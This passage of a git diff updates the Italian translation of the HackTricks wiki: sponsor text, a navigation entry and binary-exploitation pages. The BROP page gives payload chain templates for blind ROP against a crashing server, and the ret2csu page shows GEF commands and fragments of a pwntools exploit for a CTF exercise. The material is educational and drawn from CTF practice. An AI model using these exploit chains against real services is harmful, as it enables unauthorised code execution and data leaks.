diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png index ee3722524..e70bceed6 100644 Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png index e70bceed6..d798d9edc 100644 Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png index d798d9edc..1ec78aebd 100644 Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ diff --git a/.gitbook/assets/image (10) (1).png b/.gitbook/assets/image (10) (1).png index d3370cd6f..00fb8b946 100644 Binary files a/.gitbook/assets/image (10) (1).png and b/.gitbook/assets/image (10) (1).png differ diff --git a/.gitbook/assets/image (10).png b/.gitbook/assets/image (10).png index 00fb8b946..210d7bd3f 100644 Binary files a/.gitbook/assets/image (10).png and b/.gitbook/assets/image (10).png differ diff --git a/.gitbook/assets/image (11) (1).png b/.gitbook/assets/image (11) (1).png index 78cc16af3..70fe9294a 100644 Binary files a/.gitbook/assets/image (11) (1).png and b/.gitbook/assets/image (11) (1).png differ diff --git a/.gitbook/assets/image (11).png b/.gitbook/assets/image (11).png index 70fe9294a..277c44d2c 100644 Binary files a/.gitbook/assets/image (11).png and b/.gitbook/assets/image (11).png differ diff --git a/.gitbook/assets/image (12) (1).png b/.gitbook/assets/image (12) (1).png index c29de7533..1a985c3d4 100644 Binary files a/.gitbook/assets/image (12) (1).png and b/.gitbook/assets/image (12) (1).png differ diff --git a/.gitbook/assets/image (12).png b/.gitbook/assets/image (12).png index 1a985c3d4..fd5fec3d9 100644 Binary files a/.gitbook/assets/image (12).png and b/.gitbook/assets/image (12).png differ diff --git a/.gitbook/assets/image (13) (1).png b/.gitbook/assets/image (13) (1).png index 474931f56..cee86ab50 100644 Binary files a/.gitbook/assets/image (13) (1).png and b/.gitbook/assets/image (13) (1).png differ diff --git a/.gitbook/assets/image (13).png b/.gitbook/assets/image (13).png index cee86ab50..4c2c4ab67 100644 Binary files a/.gitbook/assets/image (13).png and b/.gitbook/assets/image (13).png differ diff --git a/.gitbook/assets/image (14) (1).png b/.gitbook/assets/image (14) (1).png index 5edd2e9f5..e0b33932e 100644 Binary files a/.gitbook/assets/image (14) (1).png and b/.gitbook/assets/image (14) (1).png differ diff --git a/.gitbook/assets/image (14).png b/.gitbook/assets/image (14).png index e0b33932e..f5207ab5b 100644 Binary files a/.gitbook/assets/image (14).png and b/.gitbook/assets/image (14).png differ diff --git a/.gitbook/assets/image (15) (1).png b/.gitbook/assets/image (15) (1).png index fed36b16d..e0b33932e 100644 Binary files a/.gitbook/assets/image (15) (1).png and b/.gitbook/assets/image (15) (1).png differ diff --git a/.gitbook/assets/image (15).png b/.gitbook/assets/image (15).png index e0b33932e..11fd861cf 100644 Binary files a/.gitbook/assets/image (15).png and b/.gitbook/assets/image (15).png differ diff --git a/.gitbook/assets/image (16) (1).png b/.gitbook/assets/image (16) (1).png index b3a5bfb51..354be02ad 100644 Binary files a/.gitbook/assets/image (16) (1).png and b/.gitbook/assets/image (16) (1).png differ diff --git a/.gitbook/assets/image (16).png b/.gitbook/assets/image (16).png index 354be02ad..5d7f744a6 100644 Binary files a/.gitbook/assets/image (16).png and b/.gitbook/assets/image (16).png differ diff --git a/.gitbook/assets/image (17) (1).png b/.gitbook/assets/image (17) (1).png index 1b412b105..6856b34b8 100644 Binary files a/.gitbook/assets/image (17) (1).png and b/.gitbook/assets/image (17) (1).png differ diff --git a/.gitbook/assets/image (17).png b/.gitbook/assets/image (17).png index 6856b34b8..3b1e0666a 100644 Binary files a/.gitbook/assets/image (17).png and b/.gitbook/assets/image (17).png differ diff --git a/.gitbook/assets/image (2) (1).png b/.gitbook/assets/image (2) (1).png index 70413c7ff..82f1650c7 100644 Binary files a/.gitbook/assets/image (2) (1).png and b/.gitbook/assets/image (2) (1).png differ diff --git a/.gitbook/assets/image (2).png b/.gitbook/assets/image (2).png index 82f1650c7..176e28e26 100644 Binary files a/.gitbook/assets/image (2).png and b/.gitbook/assets/image (2).png differ diff --git a/.gitbook/assets/image (3) (1).png b/.gitbook/assets/image (3) (1).png index 2c0467343..f2f640d8c 100644 Binary files a/.gitbook/assets/image (3) (1).png and b/.gitbook/assets/image (3) (1).png differ diff --git a/.gitbook/assets/image (3).png b/.gitbook/assets/image (3).png index f2f640d8c..17acb7d7e 100644 Binary files a/.gitbook/assets/image (3).png and b/.gitbook/assets/image (3).png differ diff --git a/.gitbook/assets/image (4) (1) (1).png b/.gitbook/assets/image (4) (1) (1).png index 8f2e02767..ffd8adf04 100644 Binary files a/.gitbook/assets/image (4) (1) (1).png and b/.gitbook/assets/image (4) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1).png b/.gitbook/assets/image (4) (1).png index ffd8adf04..ee3722524 100644 Binary files a/.gitbook/assets/image (4) (1).png and b/.gitbook/assets/image (4) (1).png differ diff --git a/.gitbook/assets/image (4).png b/.gitbook/assets/image (4).png index ee3722524..92ceed745 100644 Binary files a/.gitbook/assets/image (4).png and b/.gitbook/assets/image (4).png differ diff --git a/.gitbook/assets/image (5) (1) (1).png b/.gitbook/assets/image (5) (1) (1).png index 8f87ed9e5..b2c2c3d26 100644 Binary files a/.gitbook/assets/image (5) (1) (1).png and b/.gitbook/assets/image (5) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1).png b/.gitbook/assets/image (5) (1).png index b2c2c3d26..70413c7ff 100644 Binary files a/.gitbook/assets/image (5) (1).png and b/.gitbook/assets/image (5) (1).png differ diff --git a/.gitbook/assets/image (5).png b/.gitbook/assets/image (5).png index 70413c7ff..e7f03abf8 100644 Binary files a/.gitbook/assets/image (5).png and b/.gitbook/assets/image (5).png differ diff --git a/.gitbook/assets/image (6) (1).png b/.gitbook/assets/image (6) (1).png index 8f87ed9e5..3646dc3f3 100644 Binary files a/.gitbook/assets/image (6) (1).png and b/.gitbook/assets/image (6) (1).png differ diff --git a/.gitbook/assets/image (6).png b/.gitbook/assets/image (6).png index 3646dc3f3..e5ab74cb8 100644 Binary files a/.gitbook/assets/image (6).png and b/.gitbook/assets/image (6).png differ diff --git a/.gitbook/assets/image (7) (1).png b/.gitbook/assets/image (7) (1).png index a75850811..13854046c 100644 Binary files a/.gitbook/assets/image (7) (1).png and b/.gitbook/assets/image (7) (1).png differ diff --git a/.gitbook/assets/image (7).png b/.gitbook/assets/image (7).png index 13854046c..511d74528 100644 Binary files a/.gitbook/assets/image (7).png and b/.gitbook/assets/image (7).png differ diff --git a/.gitbook/assets/image (8) (1).png b/.gitbook/assets/image (8) (1).png index 066cf2ec8..6c2c20ea1 100644 Binary files a/.gitbook/assets/image (8) (1).png and b/.gitbook/assets/image (8) (1).png differ diff --git a/.gitbook/assets/image (8).png b/.gitbook/assets/image (8).png index 6c2c20ea1..4464dc171 100644 Binary files a/.gitbook/assets/image (8).png and b/.gitbook/assets/image (8).png differ diff --git a/.gitbook/assets/image (9) (1).png b/.gitbook/assets/image (9) (1).png index d8f7dcb75..2c0467343 100644 Binary files a/.gitbook/assets/image (9) (1).png and b/.gitbook/assets/image (9) (1).png differ diff --git a/.gitbook/assets/image (9).png b/.gitbook/assets/image (9).png index 2c0467343..a3d5f99f0 100644 Binary files a/.gitbook/assets/image (9).png and b/.gitbook/assets/image (9).png differ diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png index 3b1e0666a..4c7c93f13 100644 Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ diff --git a/README.md b/README.md index ad981fbca..9cc126303 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,11 @@ -# Trucchi di Hacking +# HackTricks
_Loghi e motion design di Hacktricks di_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ {% hint style="success" %} -**Benvenuti nella wiki dove troverete ogni trucco/tecnica di hacking/o qualsiasi altra cosa che ho imparato dai CTF, dalle app della vita reale, dalla lettura di ricerche e notizie.** +**Benvenuti nella wiki dove troverai ogni trucco/tecnica di hacking/o qualsiasi altra cosa che ho imparato dai CTF, dalle app della vita reale, dalla lettura di ricerche e notizie.** {% endhint %} Per iniziare, segui questa pagina dove troverai il **flusso tipico** che **dovresti seguire durante il pentesting** di una o più **macchine:** @@ -20,11 +20,11 @@ Per iniziare, segui questa pagina dove troverai il **flusso tipico** che **dovre
-[**STM Cyber**](https://www.stmcyber.com) è una grande azienda di cybersecurity il cui slogan è **HACK THE UNHACKABLE**. Svolgono la propria ricerca e sviluppano i propri strumenti di hacking per **offrire diversi servizi di cybersecurity** come pentesting, Red teams e formazione. +[**STM Cyber**](https://www.stmcyber.com) è una grande azienda di cybersecurity il cui slogan è **HACK THE UNHACKABLE**. Svolgono ricerche proprie e sviluppano i propri strumenti di hacking per **offrire diversi servizi di sicurezza informatica** come pentesting, Red teams e formazione. Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blog.stmcyber.com) -**STM Cyber** supporta anche progetti open source di cybersecurity come HackTricks :) +**STM Cyber** supporta anche progetti open source di sicurezza informatica come HackTricks :) *** @@ -32,7 +32,7 @@ Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blo
-[**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro bollente per i professionisti della tecnologia e della cybersecurity in ogni disciplina. +[**RootedCON**](https://www.rootedcon.com) è l'evento di sicurezza informatica più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro bollente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina. {% embed url="https://www.rootedcon.com/" %} @@ -42,9 +42,9 @@ Puoi controllare il loro **blog** su [**https://blog.stmcyber.com**](https://blo
-**Intigriti** è la piattaforma di ethical hacking **numero 1 in Europa** e di **bug bounty**. +**Intigriti** è la piattaforma di ethical hacking **numero 1 in Europa** e per **bug bounty**. -**Consiglio bug bounty**: **iscriviti** a **Intigriti**, una piattaforma premium di **bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare taglie fino a **$100,000**! +**Consiglio per bug bounty**: **iscriviti** a **Intigriti**, una piattaforma premium di **bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare taglie fino a **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -79,9 +79,9 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw ### [Pentest-Tools.com](https://pentest-tools.com/) - Il kit di strumenti essenziale per il penetration testing -
+
-**Setup immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, poppare shell e divertirsi. +**Configurazione immediatamente disponibile per la valutazione delle vulnerabilità e il penetration testing**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi. {% embed url="https://pentest-tools.com/" %} @@ -89,12 +89,12 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw ### [SerpApi](https://serpapi.com/) -
+
SerpApi offre API in tempo reale veloci e facili per **accedere ai risultati dei motori di ricerca**. Raschiano i motori di ricerca, gestiscono proxy, risolvono captcha e analizzano tutti i dati strutturati ricchi per te. Una sottoscrizione a uno dei piani di SerpApi include l'accesso a oltre 50 diverse API per raschiare diversi motori di ricerca, tra cui Google, Bing, Baidu, Yahoo, Yandex e altri.\ -A differenza di altri fornitori, **SerpApi non si limita a raschiare solo i risultati organici**. Le risposte di SerpApi includono costantemente tutti gli annunci, immagini e video inline, grafici di conoscenza e altri elementi e funzionalità presenti nei risultati di ricerca. +A differenza di altri fornitori, **SerpApi non si limita a raschiare solo i risultati organici**. Le risposte di SerpApi includono costantemente tutti gli annunci, immagini e video incorporati, grafici di conoscenza e altri elementi e funzionalità presenti nei risultati di ricerca. Attuali clienti di SerpApi includono **Apple, Shopify e GrubHub**.\ Per ulteriori informazioni, controlla il loro [**blog**](https://serpapi.com/blog/)**,** o prova un esempio nel loro [**playground**](https://serpapi.com/playground)**.**\ @@ -114,11 +114,11 @@ Puoi **creare un account gratuito** [**qui**](https://serpapi.com/users/sign\_up
-[**WebSec**](https://websec.nl) è una società di cybersecurity professionale con sede ad **Amsterdam** che aiuta a **proteggere** le imprese **di tutto il mondo** contro le ultime minacce di cybersecurity fornendo servizi di **sicurezza offensiva** con un **approccio moderno**. +[**WebSec**](https://websec.nl) è una società di sicurezza informatica professionale con sede ad **Amsterdam** che aiuta a **proteggere** le imprese **in tutto il mondo** contro le ultime minacce alla sicurezza informatica fornendo servizi di **sicurezza offensiva** con un **approccio moderno**. -WebSec è una società di sicurezza **all-in-one**, il che significa che fanno tutto; Pentesting, **Audits di Sicurezza, Formazioni sulla Consapevolezza, Campagne di Phishing, Revisione del Codice, Sviluppo di Exploit, Outsourcing di Esperti di Sicurezza e molto altro. +WebSec è una società di sicurezza **all-in-one**, il che significa che fanno tutto; Pentesting, **Audits di Sicurezza**, Formazioni sulla Consapevolezza, Campagne di Phishing, Revisione del Codice, Sviluppo di Exploit, Outsourcing di Esperti di Sicurezza e molto altro. -Un'altra cosa interessante su WebSec è che, a differenza della media del settore, WebSec è **molto sicura delle proprie competenze**, al punto che **garantisce i migliori risultati di qualità**, si legge sul loro sito web "**Se non possiamo hackerarlo, non lo paghiamo!**". Per ulteriori informazioni dai un'occhiata al loro [**sito web**](https://websec.nl/en/) e al [**blog**](https://websec.nl/blog/)! +Un'altra cosa interessante su WebSec è che, a differenza della media del settore, WebSec è **molto sicura delle proprie competenze**, tanto da **garantire i migliori risultati di qualità**, si legge sul loro sito web "**Se non possiamo hackerarlo, non lo paghiamo!**". Per ulteriori informazioni dai un'occhiata al loro [**sito web**](https://websec.nl/en/) e al [**blog**](https://websec.nl/blog/)! Oltre a quanto sopra, WebSec è anche un **sostenitore impegnato di HackTricks.** @@ -129,13 +129,13 @@ Oltre a quanto sopra, WebSec è anche un **sostenitore impegnato di HackTricks.* [**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**. -Il loro obiettivo principale di WhiteIntel è combattere le violazioni di account e gli attacchi ransomware derivanti da malware che rubano informazioni. +Il loro obiettivo principale di WhiteIntel è combattere i takeover di account e gli attacchi ransomware derivanti da malware che rubano informazioni. Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su: {% embed url="https://whiteintel.io" %} -## Licenza & Avvertenza +## Licenza & Disclaimer Controllali su: @@ -145,7 +145,7 @@ Controllali su:
-Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! +Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! Altri modi per supportare HackTricks: diff --git a/SUMMARY.md b/SUMMARY.md index 9c3525572..edb46a455 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -373,7 +373,8 @@ * [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md) * [CGI](network-services-pentesting/pentesting-web/cgi.md) * [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md) - * [Drupal](network-services-pentesting/pentesting-web/drupal.md) + * [Drupal](network-services-pentesting/pentesting-web/drupal/README.md) + * [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md) * [Electron Desktop Apps](network-services-pentesting/pentesting-web/electron-desktop-apps/README.md) * [Electron contextIsolation RCE via preload code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md) * [Electron contextIsolation RCE via Electron internal code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md) diff --git a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md index 12e4f0d2a..9b482cd8b 100644 --- a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md +++ b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md @@ -2,7 +2,7 @@
-Impara l'hacking su AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! Altri modi per supportare HackTricks: @@ -26,9 +26,9 @@ Questo attacco si basa sul seguente scenario: ### **1. Trova l'offset vulnerabile** inviando un carattere in più fino a quando non viene rilevato un malfunzionamento del server -### **2. Forza bruta sul canary** per effettuare un **leak** +### **2. Forza bruta del canary** per effettuare un **leak** -### **3. Forza bruta sugli indirizzi RBP e RIP** memorizzati nello stack per effettuare un **leak** +### **3. Forza bruta degli indirizzi RBP e RIP** memorizzati nello stack per effettuare un **leak** È possibile trovare ulteriori informazioni su questi processi [qui (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) e [qui (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md). @@ -40,7 +40,7 @@ Questo gadget permette fondamentalmente di confermare che è stato eseguito qual Questa tecnica utilizza il gadget [**ret2csu**](ret2csu.md). E questo perché se si accede a questo gadget nel mezzo di alcune istruzioni si ottengono gadget per controllare **`rsi`** e **`rdi`**: -

https://www.scs.stanford.edu/brop/bittau-brop.pdf

+

https://www.scs.stanford.edu/brop/bittau-brop.pdf

Questi sarebbero i gadget: @@ -49,13 +49,13 @@ Questi sarebbero i gadget: Nota come con quei gadget è possibile **controllare 2 argomenti** di una funzione da chiamare. -Inoltre, nota che il gadget ret2csu ha una **firma molto unica** perché estrae 6 registri dallo stack. Quindi inviando una catena come: +Inoltre, nota che il gadget ret2csu ha una **firma molto unica** perché estrarrà 6 registri dallo stack. Quindi inviando una catena come: `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` Se viene eseguito lo **STOP**, questo significa fondamentalmente che è stato utilizzato un **indirizzo che estrae 6 registri** dallo stack. Oppure che l'indirizzo utilizzato era anche un indirizzo di STOP. -Per **rimuovere questa ultima opzione** viene eseguita una nuova catena come la seguente e non deve eseguire il gadget STOP per confermare che il precedente ha estratto 6 registri: +Per **rimuovere quest'ultima opzione** viene eseguita una nuova catena come la seguente e non deve eseguire il gadget STOP per confermare che il precedente ha estratto 6 registri: `'A' * offset + canary + rbp + ADDR` @@ -63,7 +63,7 @@ Conoscendo l'indirizzo del gadget ret2csu, è possibile **dedurre l'indirizzo de ### 6. Trova il PLT -La tabella PLT può essere cercata da 0x400000 o dall'**indirizzo RIP leakato** dallo stack (se viene utilizzato **PIE**). Le **voci** della tabella sono **separate da 16B** (0x10B), e quando viene chiamata una funzione il server non crasha anche se gli argomenti non sono corretti. Inoltre, controllare l'indirizzo di una voce nel **PLT + 6B non crasha** poiché è il primo codice eseguito. +La tabella PLT può essere cercata da 0x400000 o dall'**indirizzo RIP leakato** dallo stack (se viene utilizzato **PIE**). Le **voci** della tabella sono **separate da 16B** (0x10B), e quando viene chiamata una funzione il server non crasha anche se gli argomenti non sono corretti. Inoltre, controllando l'indirizzo di una voce nel **PLT + 6B non crasha** poiché è il primo codice eseguito. Pertanto, è possibile trovare la tabella PLT controllando i seguenti comportamenti: @@ -71,9 +71,9 @@ Pertanto, è possibile trovare la tabella PLT controllando i seguenti comportame * `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> nessun crash * `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> nessun crash -### 7. Trova strcmp +### 7. Trovare strcmp -La funzione **`strcmp`** imposta il registro **`rdx`** alla lunghezza della stringa confrontata. Nota che **`rdx`** è il **terzo argomento** e deve essere **maggiore di 0** per poter utilizzare successivamente `write` per effettuare un leak del programma. +La funzione **`strcmp`** imposta il registro **`rdx`** alla lunghezza della stringa confrontata. Nota che **`rdx`** è il **terzo argomento** e deve essere **maggiore di 0** per poter successivamente utilizzare `write` per effettuare un **leak** del programma. È possibile trovare la posizione di **`strcmp`** nel PLT basandosi sul suo comportamento utilizzando il fatto che ora possiamo controllare i primi 2 argomenti delle funzioni: @@ -104,7 +104,7 @@ Nota che di solito `rdx` conterrà già un valore maggiore di 0, quindi questo p {% endhint %} ### 8. Trovare Write o equivalente -Infine, è necessario un gadget che esfiltrerà i dati per esfiltrare il binario. E in questo momento è possibile **controllare 2 argomenti e impostare `rdx` maggiore di 0.** +Infine, è necessario un gadget che esfiltra i dati per esfiltrare il binario. E in questo momento è possibile **controllare 2 argomenti e impostare `rdx` maggiore di 0.** Ci sono 3 funzioni comuni che potrebbero essere abusate per questo: @@ -118,7 +118,7 @@ Il problema attuale è che non sappiamo **dove si trova la funzione write all'in Tuttavia, sappiamo **dove si trova la tabella PLT** ed è possibile trovare write in base al suo **comportamento**. E possiamo creare **diverse connessioni** con il server e utilizzare un **FD alto** sperando che corrisponda a qualche nostra connessione. -Firme comportamentali per trovare queste funzioni: +Firme di comportamento per trovare queste funzioni: * `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se vengono stampati dati, allora è stata trovata puts * `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se vengono stampati dati, allora è stata trovata dprintf @@ -132,3 +132,17 @@ Firme comportamentali per trovare queste funzioni: * Documento originale: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf) * [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop) + +
+ +Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/binary-exploitation/rop-return-oriented-programing/ret2csu.md index 4f024c219..fc2466db7 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2csu.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2csu.md @@ -10,7 +10,7 @@ Altri modi per supportare HackTricks: * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -40,7 +40,7 @@ Questo gadget ci permette di controllare questi registri facendo uscire i valori 2. La seconda sequenza utilizza i valori che abbiamo impostato per fare un paio di cose: * **Spostare valori specifici in altri registri**, preparandoli per essere utilizzati come parametri nelle funzioni. -* **Effettuare una chiamata a una posizione** determinata sommando i valori in r15 e rbx, e moltiplicando rbx per 8. +* **Effettuare una chiamata a una posizione** determinata sommando i valori in r15 e rbx, moltiplicando poi rbx per 8. ```armasm mov rdx, r15; mov rsi, r14; @@ -61,7 +61,7 @@ ret ``` Le condizioni saranno: -* `[r12 + rbx*8]` deve puntare a un indirizzo che memorizza una funzione invocabile (se non si ha idea e non si ha pie, è possibile utilizzare la funzione `_init`): +* `[r12 + rbx*8]` deve puntare a un indirizzo che memorizza una funzione richiamabile (se non si ha idea e non si ha pie, è possibile utilizzare la funzione `_init`): * Se \_init si trova a `0x400560`, utilizzare GEF per cercare un puntatore in memoria ad esso e fare in modo che `[r12 + rbx*8]` sia l'indirizzo con il puntatore a \_init: ```bash # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html @@ -79,7 +79,7 @@ gef➤ search-pattern 0x400560 Un altro modo per controllare **`rdi`** e **`rsi`** dal gadget ret2csu è accedendo a offset specifici: -

https://www.scs.stanford.edu/brop/bittau-brop.pdf

+

https://www.scs.stanford.edu/brop/bittau-brop.pdf

Controlla questa pagina per ulteriori informazioni: @@ -95,7 +95,7 @@ Immagina di voler fare una syscall o chiamare una funzione come `write()` ma hai Ecco dove entra in gioco **ret2csu**: -1. **Imposta i Registri**: Usa il primo gadget magico per estrarre i valori dallo stack e inserirli in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15. +1. **Imposta i Registri**: Usa il primo gadget magico per estrarre i valori dallo stack e metterli in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15. 2. **Usa il Secondo Gadget**: Con questi registri impostati, utilizzi il secondo gadget. Questo ti permette di spostare i valori scelti in `rdx` e `rsi` (da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllando `r15` e `rbx`, puoi far sì che il programma chiami una funzione situata all'indirizzo che calcoli e inserisci in `[r15 + rbx*8]`. Hai un [**esempio che utilizza questa tecnica e la spiega qui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e questo è l'exploit finale che è stato utilizzato: @@ -128,7 +128,7 @@ Si noti che l'exploit precedente non è destinato a fare un **`RCE`**, ma è des ### Bypassare la chiamata e raggiungere ret -L'exploit seguente è stato estratto [**da questa pagina**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) dove viene utilizzato il **ret2csu** ma anziché utilizzare la chiamata, sta **bypassando i confronti e raggiungendo il `ret`** dopo la chiamata: +L'exploit seguente è stato estratto [**da questa pagina**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) dove viene utilizzato il **ret2csu** ma invece di utilizzare la chiamata, sta **bypassando i confronti e raggiungendo il `ret`** dopo la chiamata: ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ @@ -180,4 +180,4 @@ target.interactive() ``` ### Perché non utilizzare direttamente libc? -Di solito questi casi sono vulnerabili anche a **ret2plt** + **ret2lib**, ma a volte è necessario controllare più parametri di quelli facilmente controllabili con i gadget che si trovano direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri e **potrebbe non essere possibile trovare gadget per impostare tutti questi direttamente**. +Di solito questi casi sono vulnerabili anche a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), ma a volte è necessario controllare più parametri di quelli facilmente controllabili con i gadget che si trovano direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri e **potrebbe non essere possibile trovare gadget per impostare direttamente tutti questi**. diff --git a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index 0711201f7..d68e589ca 100644 --- a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -6,17 +6,17 @@ Altri modi per supportare HackTricks: -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra 